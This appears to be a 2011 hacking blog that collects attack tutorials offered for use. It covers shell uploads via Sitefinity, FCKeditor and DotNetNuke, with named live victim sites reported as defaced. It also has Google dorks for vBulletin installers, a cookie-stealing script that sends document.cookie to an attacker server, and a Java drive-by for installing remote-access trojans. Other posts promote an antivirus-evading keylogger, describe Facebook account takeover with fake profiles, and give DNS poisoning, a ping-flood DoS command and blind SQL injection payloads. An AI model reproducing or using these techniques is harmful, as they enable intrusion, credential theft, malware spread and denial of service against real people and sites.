Hacking Pro

Sitefinity CMS (ASP.NET) Shell Upload Vulnerability

2011-07-27T03:39:00.001-07:00

exploit # /UserControls/Dialogs/ImageEditorDialog.aspx

first go to # http://site.com/sitefinity/

then # http://site.com/sitefinity/UserContr...torDialog.aspx

select # asp renamed via the .asp;.jpg (shell.asp;.jpg)

Upload to # http://site.com/Images/[shell]

credit goes to blackhat team !!

"Powered By osCommerce" or "Powered By OpenCart" Vulnerability

2011-07-26T03:14:00.000-07:00

TUTORIAL

1. searching the target with a dork "Powered By osCommerce" or "Powered By OpenCart" in google, Bing, or whatever

2. specify the target.

3. After finding the target add the code Below:
"Admin / view / javascript / FCKeditor / editor / filemanager / connectors / test.html" behind the url / target (without the quotes)
Exs: http://www.springfieldxd.info/buy/index.php?route=product/product&product_id=57
Become were: http://www.springfieldxd.info/buy/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

4. After that you'll find files to upload,

5. For the connector, Replace Asp into PHP files:)

6. Well now live upload the files you ...!!! Example: upload sitelamu.html


And the result is http://www.target.com/file-kamu.html
Examples of targets that vuln:
http://utahflowers.net/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html
and the result: http://utahflowers.net/r00t.html

If you are lucky, you can also do additions Shell Into Target

For the Dork, Use your imagination in the memperluar dork. "Powered By osCommerce" or "Powered By OpenCart" Vulnerability

HackThatForum [MyBB/vBulletin/IPB]

2011-07-18T04:27:00.001-07:00

[MyBB/vBulletin/IPB]

In this thread I will gather some of the exploits for forum softwares.

Hope you like it.

Hacking Facebook Passwords

2011-07-17T11:22:00.000-07:00

Hacking Facebook Passwords

How to Hack Facebook Passwords by adding into friend list.

These days many Facebook users have hundreds and possibly thousands of friends. More friends increase the chance that your Facebook account will be hacked – especially if you accept friend requests from people you do not know.

Critical vulnerability found on FACEBOOK

It isn’t entirely unusual that Facebook users receive friend requests from people they do not know. Often, those friend requests are blindly accepted in an effort to grow the friendship base. It seems that especially people with Facebook accounts that are primarily used for marketing purposes are more likely to accept friend requests from people they do not know than the typical Facebook user does.

Such accounts could be hacked easily, and there is no ingenious hacking talent required to do so: You simply need to walk through Facebook’s passwork recovery process with two other Facebook friends of a targeted account.

You can easily gain access to a your friends Facebook account through a collusion approach. You have to use Facebook’s password recovery feature, which is accessible through the “Forgot your password?” link on the Facebook login page.
Once identified the Friend, Facebook suggested to recover the password via the existing email address. However, you can bypass this hurdle by clicking the “No longer have access to these?” link. In that case, Facebook asks for a new email address. In the following step, Facebook presents the security question tied to the account. However, you can also to bypass the question by typing wrong answers three times in a row. After that, Facebook provides a rather surprising way to get your account back – via the support of three friends.

1. First, you select three friends “you trust”. These three friends then receive a code, which is required to change the account password.

2. Select yourself and immediately received a code from Facebook. With those three codes, you can easily change the password for the targeted account.

3. The problem clearly is that three friends you do not really know and cannot trust could potentially gain access to the victim Facebook account – through the standard password recovery feature.

4. To bypass problem mentioned in step 3 SOCIAL ENGINEERING. Create your own 2 more fake profiles and add the victim as a friend on facebook. Now get all the 3 codes and you are done. NOTE: The targeted account will be locked for 24 hours after this password change and the user’s old email address receives a notification of the password change as well as the names of the three friends who were given the codes. However, if these are friends with fake names, it doesn’t quite matter that you now know their names.

Now if a Facebook user could in fact be in a situation when a Facebook account is not checked within a 24-hour period, particularly since we enjoy to flaunt our activities through Facebook status messages. And if the account is checked frequently, the account depends on Facebook’s response time, which can easily stretch to a number of days.

Bottom line is You don’t expose yourself to people you don’t know.

IF YOU LIKE THIS ..DO COMMENTS AND SHARE IT

[FPD]Finding hidden directories ( Full path disclouser )

2011-07-15T14:48:00.000-07:00

Here's a small how-to on performing the FPD attack. I'll try making my answers as simple as possible, so don't get nervous about any unusual vocabulary or terms.

FPD, full path disclosure?
Yes.

What is an FPD?
An FPD(full path disclosure) is an attack that results in the slave page displaying an error.

What's so special about the error?
The error could give information that leads to a certain directory that isn't meant for you to see; For example, an administration panel.

How do I do a full path disclosure?
First you're going to try voiding the session ID. You can do this by downloading "Edit this Cookie", it is available for Firefox and Chrome. Then you open the cookie manager, find the PHPSESSID, change the value to nothing, and click "Submit Cookie Changes". Another way you could do this is by entering
jvoid(document.cookie="PHPSESSID="); into the address bar and hitting enter. Once you do either of those, refresh the page and check for an error from the site.

If that doesn't work, then you can try finding a location on the site that looks something like this:
http://www.x.com/x.php?app=x%01

The X's could be anything(such as the name of a page or the website). The "app" could be mostly anything, but you will usually see it being something like app, url, page, or action. If you see that, then you can attempt to add an empty array before the '=' sign. This is an empty array, []. So now the url would look like this:
http://www.x.com/x.php?app[]=x
Once you insert the empty array, go to the modified url.

Okay, I got an error... Now what?
The error probably looks something like this:
Warning: trim() expects parameter 1 to be string, array given in /home/x/public_html/y/z/sources/base/a.php on line 1645
The "/home/X/public_html/Y/Z/sources/base/A.php" is a full path. One of those might be an important directory. What you can try doing is removing things one by one, start by taking off A.php and trim it down to home; maybe there might be an interesting page somewhere. If it's in none of those, you can try checking through a directory that isn't listed with some from the original error. It will usually be anything that sounds like it's a real name. An example of those in the error would be home, X, Y, Z, and A.php. So you could try those on different directories like:
x.com/x
x.com/forums/x
x.com/forums/index.php/x/y
x.com/z/a.php
x.com/x/y/z

Go through these steps, and you might come across some interesting places on your target website.

Hacking vBulletin 3.8.6 !

2011-07-15T14:42:00.000-07:00

Hii..today i'm gonna show you a huge vBulletin's Bug in version 3.8.6... I know it's old..but are others people that still don't know it !

Okk..let's Start..

1.Search in google with this dork !

Code:
Powered By vBulletin 3.8.6

2.Go To :

Code:
http://www.slave.com/path/install/vbulletin-language.xml

3.Using Ctrl+F (find option) search for :

Code:
database_ingo

There in that phrase you will find something interesting Like This :
:yeye:

Code:
<phrase name="database_ingo" date="1271086009" username="Jelsoft" version="3.8.5">

Database Name: {$vbulletin->config['Database']['dbname']}<br />

Database Host: {$vbulletin->config['MasterServer']['servername']}<br />

Database Port: {$vbulletin->config['MasterServer']['port']}<br />

Database Username: {$vbulletin->config['MasterServer']['username']}<br />

Database Password: {$vbulletin->config['MasterServer']['password']}

</phrase>

And the information about these (Db Name , Db User, Db Pass , Host , Port) can be found in Faq.php

So let's go to FAQ [ http://www.slave.com/path/faq.php ]

And in the search box Type

Code:
database

and then click search ... !

You will get the results ! :thumbsup::pirate::yeye:

How to steal cookies

2011-07-15T14:39:00.001-07:00

Steal Cookies (Easy)

You need:
- Your server
- PHP Script which save something to file eg:
http://myserver.com/steal_cookie.php?cookie=
( you must write your own steal script in php ) or i will post later

later you write to you friend go on facebook.com and after this go on this:

Code:
javascript:self.document.location="http://myserver.com/steal_cookie.php?cookie=" + document.cookie;

It works on 100% if slave is on website what you want ;) for example when you want hack someone facebook account slave must be on facebook and replae facebook.com with your link! It works like XSS but is not ;P
but you can easly make adfly link or something
and this: jself.document.location="http://myserver.com/steal_cookie.php?cookie=" + document.cookie;
later looks like this: adfly.com/dfdere : blablabla ,etc...

Sorry for my english .

I thnk it helps :D

EDIT:Steal cookies script:

PHP Code:
<?php

    $file=fopen("cookies_stealed.txt","w+");

    fwrite($file, $_GET[cookie]);

  fclose($file);

    echo "<script>self.document.location = "http://facebook.com/";</script>";

?>

DNS Poisoning using Cain

2011-07-12T17:26:00.001-07:00

Hey guys this Tutorial is about DNS poisoning on your network using Cain & Abel.
Download Cain HERE
This Tutorial Will be limited to just redirecting the traffic to another website (I had a better idea on my mind, but I can’t post it because of the rules).

Note: This Tutorial is for educational purposes only (you’ll be responsible for your own actions)

First What is the DNS ? (wikipedia.org)
The Domain Name System (DNS) is a hierarchical naming system for computers, services, or any resource connected to the internet or a private network. It associates various information with domain names assigned to each of the participants. Most importantly, it translates domain names meaningful to humans into the numerical (binary) identifiers associated with networking equipment for the purpose of locating and addressing these devices worldwide. An often used analogy to explain the Domain Name System is that it serves as the "phone book" for the Internet by translating human-friendly computer hostnames into IP addresses. For example, http://www.example.com translates to208.77.188.166.

What does poisoning the DNS allow us to do ?
It allows us to redirect the traffic to another website.

First This is the structure of the network :

1 , 2 and 3 are computers

1 is the computer being the gateway (could be a router) (172.128.254.1)

2 is the target computer (172.128.254.10)

3 is the attacker using cain

Note : IPs are just used for this tutorial and chosen randomly.

Our work is on computer number 3 :

1-After you install cain , open it and go to the sniffer tab

2-Click on configure and choose your adapter

3-Enable the sniffer (click on the second icon in the toolbar next to the open icon)

4-Right click in the empty area and choose scan MAC addresses. We get the results above.

5-Click on the APR Tab

6-Click on the + sign in the toolbar to add a new ARP poison routing

7-choose the gateway which is 172.128.254.1 , in the next list you’ll get the IP of the computer 2 which is 172.128.254.10 and click ok

8-now click on the APR-DNS tab

9-click on the + sign

10-enter the web address that you want to spoof , (in this case when the user goes to facebook he’ll be redirected to myspace) click on resolve type the web address that you want to redirect the user to it, and click ok, and you’ll get the IP of the web address, then click ok

you'll get something like this:

11-now to make this work we have to enable APR poisoning , click on the icon next to the sniffer icon, and everything should work as we expect.

Now the computer 2 will get the routes poisoned and when the user requests http://www.facebook.com he will be redirected to http://www.myspace.com .
Imagine what you can do with this technique.

I hope this was a good tutorial for you guys , and please leave your feedbac

[TUT] Java Drive By [TUT]

2011-07-12T16:14:00.001-07:00

The Java Drive By is basically a fake webclient that automatically installs your RAT server on the victims machine. its useful for when you have a paranoid slave that iwill not download anything or accept anything over MSN etc..

Step One

First you are going to need to download the Java Drive By Applet
I have provided a Link HERE
Credits for the applet:
84.6% php
15.4% The Messiah - Virtual Cheddar - Vitruvius (they were all me)

Step Two

You are going to want to sign up on FileAve
or
http://www.110mb.com (thanks to PerfectSyco for the find.)
or alternatively
Spam
So that you can upload the Java Drive By later.

Step Three

Once you have signed up on the website, you are going to want to Click the upload button, and upload each file seperately, Including your server for the RAT.

Step Four

Right, Now they are uploaded, your going to want to edit the Index2.html.txt from the webpage.
Now you going to want to search for "YOUR URL HERE" Without the Quotation Marks.
Your going to change that text to the URL of your server file. You are also going to want to remove the .txt at the end of Index and Index2

Step Five

Now your going to want to change the link of your Index2 file so go to:
Dot.tk and then change the link to something like MegaScape.tk or Claimscape.tk

So, Now our finished you just Send people the link and Well, you know the rest... Hopefully

IMPORTANT NOTICES

When uploading to fileave, make your server file FUD and RENAME IT to something other than server.exe

★★★ How to use premium cookies ★★★

2011-07-12T15:45:00.000-07:00

Most of the time you must have seen that members post what are called as "download free premium account cookies" rather than the account details.Before we get into how to use these premium cookies let us first have a look on what "Cookies" are ? ( Don't misunderstand them for cookies as in food..lol). What exactly do you mean by ?

What are Cookies ?

The website saves a complimentary file with a matching ID tag. In this file various information can be stored, from pages visited on the site, to information voluntarily given to the site. When you revisit the site days or weeks later, the site can recognize you by matching the cookie on your computer with the counterpart in its database.

In a nutshell: It is something that a website needs in order to identify and automatically log you into the site without asking for your account details again and again.

Anyway lets proceed on how exactly it is being used in hacking premium accounts such as Fileserve,Hotfile,Rapidshare,Depositfiles etc.

****method to use them****
1. Google Chrome Browser: download

2.Cookie Plugin for Chrome: cookie injector

The Working:

This plugin works only for

Fileserve.com
spam.com
Rapidshare.com
Megaupload-Megavideo

This is much easier than any other method as tis doesn't involve much of manual working.

1. Get a premium cookie for the above listed servers.Go to your server site.
2. Enter it in the space provided.
3. And then click "Inject Cookie".
4. The page will be automatically refreshed and the cookie will be injected.
[img] Uploaded with ImageShack.us[/img]

If you have any doubts please post a comment below.Thanks for reading this TUT !! if you likedmy tut then pls rate it
if you want some cookiies pm with the name of site
happy downloading!!!

vBulletin 3.8.4 & 3.8.5 Registration Bypass Vulnerability

2011-07-11T14:04:00.001-07:00

==============================================================
vBulletin 3.8.4 & 3.8.5 Registration Bypass Vulnerability
===============================================================


   010101010101010101010101010101010101010101010101010101010   
   0                                                       0
   1  Iranian Datacoders Security Team 2010                1
   0                                                       0
   010101010101010101010101010101010101010101010101010101010
 

# Exploit Title: vBulletin 3.8.4 & 3.8.5 Around Registration Vulnerability
# Date: 29/08/2010                            
# Author: Immortal Boy                     
# Software Link: http://www.vbulletin.org
# Version: 3.8.4 & 3.8.5
# Google dork 1 : powered by vBulletin 3.8.4
# Google dork 2 : powered by vBulletin 3.8.5
# Platform / Tested on: Multiple
# Category: webapplications
# Code : N/A
 
#  BUG :  #########################################################################
 
1 > Go to Http://[localhost]/path/register.php

2 > Assume that forum admin user name is ADMIN

3 > Type this at User Name ===> ADMIN&#00

4 > &#00 is an ASCII Code

5 > And complete the other parameters

6 > Then click on Complete Registrarion

7 > Now you see that your user name like admin user name
 
After this time the private messages to the user (ADMIN) to sending see for you is sending .


#  Patch :  #######################################################################

1 > Go to AdminCP

2 > Click on vBulletin Options and choose vBulletin Options

3 > Choose Censorship Options

4 > type &# in Censored Words section

5 > Then click on Save

#############################################################################

Teams Website : http://www.datacoders.ir
 
Special Thanks to : H-SK33PY , NEO , Sp|R|T , BigB4NG , 3r1ck , Dr.mute ,

hosinn , NIK , uones , mohammad_ir &  all iranian datacoders members
 
#############################################################################

KEYLOGGING ( Hack any Email account + any thing )

2011-07-11T13:07:00.000-07:00

What is a keylogger . . .?
A keylogger is a simple program to grabe the keystrokes.basically a keylogger store all key press on a machine in a file and these will be email id and password of victim or any thing else.. . .
It is a very good technique to hack ids.
Basically you will make a file and when victim will open that file you will get every thing victim types throug keyboard in your mail account.Just make a file and send the file to the victim and say this is the software to hack id or any thing victim attracts. . .

This is for all the newbies that are just starting to learn about keylogging, i was once a noob (still am) and had no idea what to do, long story short, this thread would've been very helpful to me...

First of get a Grieve logger v2.3 from my prevoius post Click here to download.

1)Get Grieve logger v2.3

2)Fill in your gmail and test

3)Add to startup (change "Java Update" to "Svchost") without "quotes"

4)Add an icon (heres my collection: here , but you can just google and find some...)

5)Click mutex a couple times (5), change interval to whatever you want...or just leave it at 15 min.

6)Finally, click build server and save it to whatever...

Your server should have been built where you saved it...

Search for threads about spreading...
(utorrent, youtube, omegle)
Youtube works best for me--make a video, or just do what i do (not the nicest or best thing to do) but post someones video as yours than have the download link be your server...

NOTE: Do not ever scan your server at VirusTotal, only at vscan.novirusthanks.org!!
---with "do not distribute sample checked...

If you face any problem feel free to ask me on facebook
www.facebook.com/ullah.sadat

Keyloger Grieve Logger Public V2.3

2011-07-11T12:56:00.000-07:00

Grieve Logger Public V2.3
Screenshot:

Features:

100% FUD
Use Any E-Mail Provider For Your Logs
Kill Task Manager
Add To Start Up
Custom Start Up Name
Hide File After Execution
Block Anti-Virus Sites
Icon Changer
CodeDOM Compiled
Each Server Is Different
Mutex
Fast Execution

Scans:

Builder:

Spoiler (Click to View)

Built Server:

Spoiler (Click to View)

Download Link:
http://www.mediafire.com/?dhu3isvcqdme1by

Password:

Code:
Vr3DE+B4z+zYwxPYtblzBdKc8NAMCWfWCIYPqgwhAJ24wFQkyrAywgKLXRnSy8wzBzODf8BefWy4wxQY ​ CLOzgRlL8I1TVFZOB83iB09e3JqY0AQKvdfJ3TKLyLJrXAfaVe3I38B4z+zYwxP6yLQSfdKc8NAMCWfW ​ CI5rqgwhAJ24wFQPyblywgKLXMJ6VFfsBzODf8Be3J3rzMfYCLOzgRlL8I1MwAZOB83itecdzJ/Y0AQKvdfefdf08uJrXAfaVr3DwNCOz+zYwxP6yLCy0gKc8NAMCWfWCKciqgwhAJ24frv6vrAywgKLXRn ​Sy8w=BzODf8Be3JqxESlv

Encrypted With:
FERON-74 -> ZARA-128 -> MEGAN35 -> TIGO3FX -> GILA7

Ignore Any Errors In Decoding.
PM Me For The Password

Changelog:
- Version 2b:

Added More Uniqueness
Added Comparison Screenshot

- Version 2c:

Fixed "z" Appearing as [111] Bug

- Version 2.1

Added Custom Start Up Name

- Version 2.2

Re-FUD
Icon Changer!

- Version 2.3

Tweaked The Start Up Feature
Added "Block AV Sites" Option

Have Fun!
IF you dont know who to crack. . . . .
For password coment here or message me www.facebook.com/ullah.sadat.
I will be keep posting gud tut for you. . .
KING PRO SAADI

How to crack MD5 hashes

2011-07-10T15:17:00.000-07:00

Probably already been posted, but I just thought I would make my own tutorial.

In case you did not already know, MD5 is not an encryption, and therefore cannot be decrypted, only cracked.

First off, download "Password Pro" from here.
It is a zip file, so I suggest downloading 7zip.
Extract all of the files to one folder.
It should look similar to this.

For the purpose of this tutorial, I will be cracking this hash: "6dcd0f272fbb7f6f8ff3a8a5e96c45aa:Ws)", which is formatted as "Hash:Salt", and is from VBulletin 4.x.x.

Open up notepad, paste in the Hash and salt, and save it anywhere on your computer, preferably in the same folder as Password Pro.

Open up Password Pro and go to "File->Import"

Find the place where you saved the text file with the hash inside of it, and open it.
Fill in the boxes as such.

Note: The bottom is the formatting of the hash and salt in the text file, and the top is the algorithm for VBulletin 4.x

Now, go to "Audit->Preliminary Attack"
(For this hash, as it is simple, it should probably crack it with just this.)

Hit the start button, and watch it go.

If, in the case that a Preliminary Attack does not work, just repeat the previous steps with a Rainbow Attack (If you have a Rainbow Table), a Simple Dictionary Attack, or a Brute Force Attack.

Post your thoughts, or if this helped you.

Hacking VBulletin with Reinstallation Method

2011-06-29T06:39:00.000-07:00

Hello Friends!
I have discovered a new Method to Hack VBULLETIN FORUMS...
So easy...
{Note: If it has been already Discovered then I didn't found that one while searching for many weeks...}
Just with the Help of Dorks I Submit, find some Forums of which url is like this...
http://www.site.com/install/install.php
Genius one could have quite understood what I want to say
Then why are you getting late?
Just Find & Hack it.......
Find a VBulletin of which install.php is not removed & let it be reinstalled...
Thats it.......

Dorks:::
inurl:install/install.php
inurl:.com/install/install.php
inurl:.net/install/install.php
inurl:.tk/install/install.php
inurl:.org/install/install.php

inurl:install/install.php
inurl:.com/install/install.php
inurl:.net/install/install.php
inurl:.tk/install/install.php
inurl:.org/install/install.php

inurl:install/install.php vbulletin
inurl:.com/install/install.php vbulletin
inurl:.net/install/install.php vbulletin
inurl:.tk/install/install.php vbulletin
inurl:.org/install/install.php vbulletin

inurl:install/install.php system install
inurl:.com/install/install.php system install
inurl:.net/install/install.php system install
inurl:.tk/install/install.php system install
inurl:.org/install/install.php system install

inurl:install/install.php system install vbulletin
inurl:.net/install/install.php system install vbulletin
inurl:.org/install/install.php system install vbulletin
inurl:.tk/install/install.php system install vbulletin
inurl:.com/install/install.php system install vbulletin

inurl:.info/install/install.php
inurl:.info/install/install.php vbulletin
inurl:.info/install/install.php system install
inurl:.info/install/install.php system install vbulletin

inurl:.in/install/install.php
inurl:.in/install/install.php vbulletin
inurl:.in/install/install.php system install
inurl:.in/install/install.php system install vbulletin

Note:
You will not be able to enter Admin CP, You will have to Show your name of Home Page, Title & As Admin Account while Installing...

Best of Luck!!!

Rapidshare unlimited free downloads

2011-06-29T06:19:00.000-07:00

Rapidshare Hacked, unlimited upload, no countdown

UNLIMITED download/upload
Its very easy to fool Rapid Share server if your IP address is assigned by your ISP. Just follow these simple steps:

clean up IE or netscape or Firefox cookie( In this case the one that belong to rapidshare website)
On Command prompt (open MS-DOS)
type -----> ipconfig /flushdns <---Enter
type -----> ipconfig /release <---Enter
type -----> ipconfig /renew <---Enter
type -----> exit <--------Enter

Or save these commands in a bat file and run it everytime you need to fool Rapidshare server. Remember to clean up rapidshare cookie in your temp Internet files folder.

Now you should be ready to download/upload as many files as you want from their server.

another way, get proxies from the internet and apply to the browser.
some of proxies might not work though...

Note:
If you are on a LAN and behind a router (using NAT, for example)---this will not work.
If you use a fixed proxy--- this will not work.
If you have a fixed IP address from your ISP or college or employer or whatever -- this will not work.
If you happen to get the same IP address from your DHCP server because it's assigned to you -- this will not work

NO waiting
THIS "cheat" for RAPIDSHARE DOWNLOADS eliminates the "WAITING" for the file. No more COUNTDOWNS. So heres what you do:

1. First, Find a rapidshare download.
2. Hit the FREE BUTTON, like always.
3. While your waiting for it to countdown, change the URL in the bar to:
Code:
java script:c(countdown = 0);
and hit ENTER or the GO button over and over. Eachtime you do so, it decreases 10-20 seconds. Few times and the link appears.
or you can simply do the code below ONCE
java script: for (i=0; i<30; i++) { c(); }

[NOOBS] Learn How to Decrypt Passwords in LESS than a Minute!!!

2011-06-28T05:57:00.000-07:00

This is Saadi giving you all a brief lesson about decrypting passwords, in the past i didnt know how to and didnt get to use awesome keyloggers or crypters, sucked... so im here to help...

ARMON-64 ---> FERON-74--->GILA-7

AxcaE+Ab3FQu0FyYwKOBwrAwzdZuqO3=AxcTfIfwy8nu8gvYwWcBwrfwzFQN8z2Y

Here we have a bunch of random letters and some weird names like armon..wtf?!?!?

1)go to crypo.com and scroll down to Decrypt online message

2)search for the last encryption, in this case: GILA-7

3)Copy the random numbers and letters above and enter them in the box, (after clicking GILA-7 (under the DECRYPT section **important))

4)After clicking decrypt, copy the new random numbers and letters, then go back to the decrypt online message section, go to FERON-74 and decrypt again

5)Lastly go to armon-64...decrypt and VOILA!!! u have your answer!!!

So be ready to use such tools which has decrypt pass in them..
I WILL BE KEEP POSTING GOOD TUT FOR NOOBS IN FUTURE AS WELL.
FOR FEED BACK AND IF YOU FACED ANY PROBLEM MSG ME
http://facebook.com/ullah.sadat

Blind SQL Injection

2011-06-27T10:32:00.000-07:00

Let's start with advanced stuff.

I will be using our example

Code:

http://www.site.com/news.php?id=5

when we execute this, we see some page and articles on that page, pictures etc...

then when we want to test it for blind sql injection attack

Code:

http://www.site.com/news.php?id=5 and 1=1

<--- this is always true

and the page loads normally, that's ok.

now the real test

Code:

http://www.site.com/news.php?id=5 and 1=2

<--- this is false

so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.

1) Get the MySQL version

to get the version in blind attack we use substring

i.e

Code:

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

this should return TRUE if the version of MySQL is 4.

replace 4 with 5, and if query return TRUE then the version is 5.

i.e

Code:

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works

when select don't work then we use subselect

i.e

Code:

http://www.site.com/news.php?id=5 and (select 1)=1

if page loads normally then subselects work.

then we gonna see if we have access to mysql.user

i.e

Code:

http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

3). Check table and column names

This is part when guessing is the best friend

i.e.

Code:

http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1

(with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)

then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one

let's say that we have found that table name is users, now what we need is column name.

the same as table name, we start guessing. Like i said before try the common names for columns.

i.e

Code:

http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

if the page loads normally we know that column name is password (if we get false then try common names or just guess)

here we merge 1 with the column password, then substring returns the first character (,1,1)

4). Pull data from database

we found table users i columns username password so we gonna pull characters from that.

Code:

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

ok this here pulls the first character from first user in table users.

substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value

and then compare it with simbol greater then > .

so if the ascii char greater then 80, the page loads normally. (TRUE)

we keep trying until we get false.

Code:

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

we get TRUE, keep incrementing

Code:

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

Code:

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character.

Code:

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)

Code:

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher.

Code:

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number.

Code:

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher.

Code:

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!

we know that the second character is char(105) and that is 'i'. We have 'ci' so far

so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).

There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,

cause that makes you better SQL INJECTOR

Send Message (Even If you dont have him/her as a friend)

2011-06-25T06:28:00.000-07:00

Hello guys today i'm going to show you something special :P
You can send Others Message even if you dont have they as friend !!
Even if they have blocked others to send messages(Dont have him/her as a friend )
This is some examples that we dont have friend and we can't message !!
Because we dont have him/her as a friend !!
We see clearly that we dont have friend and we can't send message !!!

Nice hee?
Now we activate facebook email

After We have acctivated Facebook Email We go to person that you dont have him / her as a friend and he / her have blocked others to send messages !!
First We Copy Id Url of the profile
some Examples

Quote:100224632937
100201444677

And We Go here
www.facebook.com/messages/here.is.the.place.when.you.willput.the url.of.the.person.you.dont.have.him.as.a.friend.
Example !!

Enter the text you want And Woullaa Send ittt :D :D

PinG Of Death (Dos Attack)

2011-06-21T13:53:00.000-07:00

Today i will share with you some ddos trick to crash off the server of a web.This is a beginners tut to understand the ddos attack..Basically when you open a web site your computer sent some data bit called packets and the server of the web reply and sent same number of pakets.So, for example if lots of packets are sent at one time to a particular web then the server will be not able to response and turn down..In this attack lots of computers are used to attack at same time.

So now begin

DoS Attack Stands For Denial of Service Attack

------------------------

What Is DoS?

A: Denial of Service (DoS) attackes are aggressive attacks on an individual Computer or WebSite with intent to deny services to intended users.

DoS attackes can target end-user systems, servers, routers and Network links(websites)

Requirments:

1- Command Prompt (CMD or DOS) Which is usually integrated in all Windows.

2- Ip-Address of Targeted Site.

How TO GET IP OF ANY SITE??"

No problem.. here is the solution..

open ur CMD (command prompt).. and type

--------------------------------------------------

nslookup Site-Name

--------------------------------------------------

(e.g nslookup http://www.google.com)

It will show u ip of the site.

ohk now write this command in CMD For Attack on Any Site/ Server..

---------------------------------------------------

ping SITE-IP -l 65500 -n 10000000 -w 0.00001

---------------------------------------------------

-n 10000000= the number of DoS attemps.. u can change the value "10000000" with ur desired value u want to attempt attack.

SITE-IP= Replace the text with the ip address of the site u want to be attacked..

-w 0.00001 = It is the waiting time after one ping attack.

NOTE: Dont Change or Remove -l, -n and -w in this command.. otherwise u will not able to attack!!

---------------

This All System Is Known As "PING OF DEATH"

I WILL BE KEEP POSTING GOOD TUT FOR NOOBS IN FUTURE AS WELL..

FOR ANY PROBLEM OR FEED BACK ......

http://facebook.com/ullah.sadat .

KING PRO SAADI

Hack websites by DNN (DotNetNuke)

2011-06-14T08:08:00.000-07:00

It is easy compared to other hacking attacks such as SQL-Injection and Cross Site Scripting.
DotNetNuke is an open source platform for building web sites based on Microsoft .NET technology. DotNetNuke is mainly provide Content Management System(CMS) for the personal website.
Below are the easy steps to implement the attack:

• First use a google dork to find the appropriate target.

inurl:”/portals/0? site:.com

• You can change com to your desired domain name like bd ph ae
• Now search your website on the google after searching you will get many websites choose any one of it.

• Its time to check the required vulnerability on the website just place this code after the web address.

Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

• For example if you got http://www.victim.com/
• Replace it www.victim.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
• If you will get this screen means this web is going to hack.

• Now choose the third option “A File On Your Site” And than paste this java code on your address bar.

javascript:__doPostBack(‘ctlURL$cmdUpload’,”)

• It will allow you to upload a files on this website you can upload text ~ swf ~ jpg ~ gif ~ pdf ~ Files.

• After uploading files you can find your file on this address www.victim.com/portals/0/yourfile.extension
here extension is txt jpg swf etc.

Now i will hack a web.The web address is

http://dnn551.biuro.in

now add in the end of link

Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
Screen shot

now delete the link and write this code
javascript:__doPostBack('ctlURL$cmdUpload','')
Browse option will come upload your shell their and delete and defaced the web...
Pic are not uploading so here the link of defaced web

http://dnn551.biuro.in/portals/0/ikony/index2.html

HAPPY HACKING I WILL BE KEEP POSTING GOOD TUTORIAL FOR YOU...
FOR FEED BACK
http://facebook.com/ullah.sadat

Hacking a website using SQLI

2011-06-05T06:57:00.000-07:00

Sallam guys today i will share with you a tutorial on sqli hacking a web, all time people says me to give a tut on email id hacking but as i already posted 2 very good method so now i decided to post some web hacking tuts...My tutorial are very detailed and good for you....I will fully explained you how to hack a web.
Lets begin sqli is done when there is security hole in a web...
People who know about mysql will understand this easily.

First of all you need to find a website which is vulnerable to sql injection attack.To find this we need dorks,dorks are code to find vulnerable webs..Just google them and you will find lots of webs which are vulnerable to sqli.I had posted many dorks just look my previous post,some dorks is given bellow
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=

Just google them you will find some links,but all links are not vulnerable to sqli..

To find out if the link is vulnerable to sqli or not you have to put ' at the end of the link...
If some thing like this comes to your screen then web is vulnerable to sql injection attack...

Error : You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

I have chose a page,screen shot is given bellow

when i put a ' in the end it shows a error means it is vulnerable,link becomes....

So , now begin i will hack today this website
http://www.elmtreeproject.net/event.php?id=11.The web is already hack by me see my fb wall.
The screenshot of the web is

Now,for checking if this web is vulnerable to sql injection or not i will put ' in the end the link will look like
http://www.elmtreeproject.net/event.php?id=11'
The page shows sql error which means web is vulneable ti sqli...

Now , we have to find column number.The data is store in coloums on webs...
To find column number put - after id= and in the end put order by 20-- after the link
you have to put differnet number after order by like 12-- or 10-- or 9--.
If error comes on 20 then put 15 if error do not come on 15 puts 17 if error again come put 16 if error does not come it means coloumn number is 16.because error comes on 17 and does not come on 16...

